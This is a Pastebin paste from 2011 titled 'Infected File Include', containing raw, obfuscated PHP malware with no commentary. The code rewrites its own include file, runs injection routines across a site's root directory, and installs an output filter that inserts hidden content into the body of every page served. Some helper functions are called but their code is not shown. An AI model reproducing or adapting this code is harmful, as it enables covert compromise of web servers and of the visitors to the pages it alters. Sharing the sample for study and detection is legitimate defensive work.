SHARE
TWEET

Infected File Include

a guest Sep 14th, 2011 368 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.   /*cxfwugxrrvfxxobjyerolbqtlzyaxxpjgblcsfngpsptzixmab*/
  3.   function FF97A1D7A5B771B21D423C3A9D78408C1($RC4A5B5E310ED4C323E04D72AFAE39F53)
  4.   {
  5.       global $_GET, $_POST;
  6.       ignore_user_abort(true);
  7.       $GLOBALS['dg_echo'] = 1;
  8.       set_time_limit(600);
  9.       if (!is_writable($GLOBALS['dgcp'] . $GLOBALS['dgin'])) {
  10.           F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#009000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}</b>");
  11.           return;
  12.       }
  13.       $RDAD8D40EB9906CAB35CCB38DE41CB7EF = FFD456406745D816A45CAE554C788E754($RC4A5B5E310ED4C323E04D72AFAE39F53, 180, $RF89F518E40FF53B4FD2A7D2440090D63);
  14.       F0B4D6FFC759ED013DCD398174DE471F8();
  15.       if (!FD768CE2E61B0A13220C1408BA2911626($RDAD8D40EB9906CAB35CCB38DE41CB7EF)) {
  16.           F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">no php quotes</b> [e1]");
  17.           die;
  18.       }
  19.       F3B82ABE1785C7013E7CC0CA01EF61AA8("{$RC4A5B5E310ED4C323E04D72AFAE39F53}: " . strlen($RDAD8D40EB9906CAB35CCB38DE41CB7EF));
  20.       if (!FD37A89A1AF9ECAFCB257CADA0D7E94C3($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgcp\'] = "', '";', $GLOBALS['dgcp'])) {
  21.           F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">failed to set path</b> [e2]");
  22.           die;
  23.       }
  24.       F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:green\">path set to {$GLOBALS['dgcp']}</b> [s1]");
  25.       if (!FD37A89A1AF9ECAFCB257CADA0D7E94C3($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgin\'] = "', '";', $GLOBALS['dgin'])) {
  26.           F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">failed to set name</b> [e3]");
  27.           die;
  28.       }
  29.       F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:green\">name set to {$GLOBALS['dgin']}</b> [s2]");
  30.       if (!FD37A89A1AF9ECAFCB257CADA0D7E94C3($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgsp\'] = "', '";', $GLOBALS['dgsp'])) {
  31.           F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">failed to set relative root dir</b> [e4]");
  32.           die;
  33.       }
  34.       F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:green\">relative root dir successfully set {$GLOBALS['dgsp']}</b> [s3]");
  35.       $RCFFAE742FB4E724571041779A10EFDA9 = F873C7424258BCBB4AE958DCB051B6110($RDAD8D40EB9906CAB35CCB38DE41CB7EF, rand(20, 30), 1, 1);
  36.       $RCFFAE742FB4E724571041779A10EFDA9 = F9248B5B41A3DDFDCDF5FCF3647F21442($RCFFAE742FB4E724571041779A10EFDA9, 1);
  37.       FB9B6F2F343184DBE3D84656B8346EDC1($GLOBALS['dgcp'] . $GLOBALS['dgin'] . "tmp", $RCFFAE742FB4E724571041779A10EFDA9, 1) ? F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#009000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}tmp</b>") : F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#a00000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}tmp</b>");
  38.       $R9DB9E103E88D622316D42B508D6D11AB = implode("", file($GLOBALS['dgcp'] . $GLOBALS['dgin'] . "tmp"));
  39.       if (!strpos($R9DB9E103E88D622316D42B508D6D11AB, '?' . '>')) {
  40.           F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#a00000'>wf {$GLOBALS['dgcp']}{$GLOBALS['dgin']}tmp</b>");
  41.           return;
  42.       }
  43.       copy($GLOBALS['dgcp'] . $GLOBALS['dgin'] . "tmp", $GLOBALS['dgcp'] . $GLOBALS['dgin']) ? F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#009000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}</b>") : F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#a00000'>rf {$GLOBALS['dgcp']}{$GLOBALS['dgin']}</b>");
  44.       unlink($GLOBALS['dgcp'] . $GLOBALS['dgin'] . "tmp");
  45.       if ($GLOBALS['dgsp'] && !isset($_GET['noinj']) && !isset($_POST['noinj'])) {
  46.           FBD8F1A7E6108CC853593E347434C7287();
  47.           if (count($GLOBALS['dg_wpi']) > 0) {
  48.               F7641DA7BE8C09F5807EB8CA8DD8C0B9A($GLOBALS['dg_wpi'][0], 1, $GLOBALS['dgij']);
  49.               F7A0DC6FCF5A00BB584F0024BBAC75D65($GLOBALS['dgsp'], 0, 0);
  50.           } else {
  51.               F7A0DC6FCF5A00BB584F0024BBAC75D65($GLOBALS['dgsp'], 1, 0);
  52.           }
  53.       }
  54.       F18C82E54B87D91FDCDBDBEF3DF051362();
  55.   }
  56.   if (!function_exists('gzdecode')) {
  57.       function gzdecode($arg)
  58.       {
  59.           $R6B6E98CDE8B33087A33E4D3A497BD86B = ord(substr($arg, 3, 1));
  60.           $R60169CD1C47B7A7A85AB44F884635E41 = 10;
  61.           $R0D54236DA20594EC13FC81B209733931 = 0;
  62.           if ($R6B6E98CDE8B33087A33E4D3A497BD86B & 4) {
  63.               $R0D54236DA20594EC13FC81B209733931 = unpack('v', substr($arg, 10, 2));
  64.               $R0D54236DA20594EC13FC81B209733931 = $R0D54236DA20594EC13FC81B209733931[1];
  65.               $R60169CD1C47B7A7A85AB44F884635E41 += 2 + $R0D54236DA20594EC13FC81B209733931;
  66.           }
  67.           if ($R6B6E98CDE8B33087A33E4D3A497BD86B & 8) {
  68.               $R60169CD1C47B7A7A85AB44F884635E41 = strpos($arg, chr(0), $R60169CD1C47B7A7A85AB44F884635E41) + 1;
  69.           }
  70.           if ($R6B6E98CDE8B33087A33E4D3A497BD86B & 16) {
  71.               $R60169CD1C47B7A7A85AB44F884635E41 = strpos($arg, chr(0), $R60169CD1C47B7A7A85AB44F884635E41) + 1;
  72.           }
  73.           if ($R6B6E98CDE8B33087A33E4D3A497BD86B & 2) {
  74.               $R60169CD1C47B7A7A85AB44F884635E41 += 2;
  75.           }
  76.           $RC4A5B5E310ED4C323E04D72AFAE39F53 = gzinflate(substr($arg, $R60169CD1C47B7A7A85AB44F884635E41));
  77.           if ($RC4A5B5E310ED4C323E04D72AFAE39F53 === false) {
  78.               $RC4A5B5E310ED4C323E04D72AFAE39F53 = $arg;
  79.           }
  80.           return $RC4A5B5E310ED4C323E04D72AFAE39F53;
  81.       }
  82.   }
  83.   if (!function_exists('dgobh')) {
  84.       function dgobh($arg)
  85.       {
  86.           header('Content-Encoding: none');
  87.           $arg = gzdecode($arg);
  88.           if ($GLOBALS['dgopt']['lbp'] == 2 && preg_match('/\<\/body/si', $arg)) {
  89.               return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n$1", $arg);
  90.           } elseif ($GLOBALS['dgopt']['lbp'] == 0 && preg_match('/\<body/si', $arg)) {
  91.               return preg_replace('/(\<body[^\>]*\>)/si', "$1" . gml(), $arg);
  92.           } else {
  93.               return gml() . $arg;
  94.           }
  95.       }
  96.   }
  97. ?>
RAW Paste Data
Top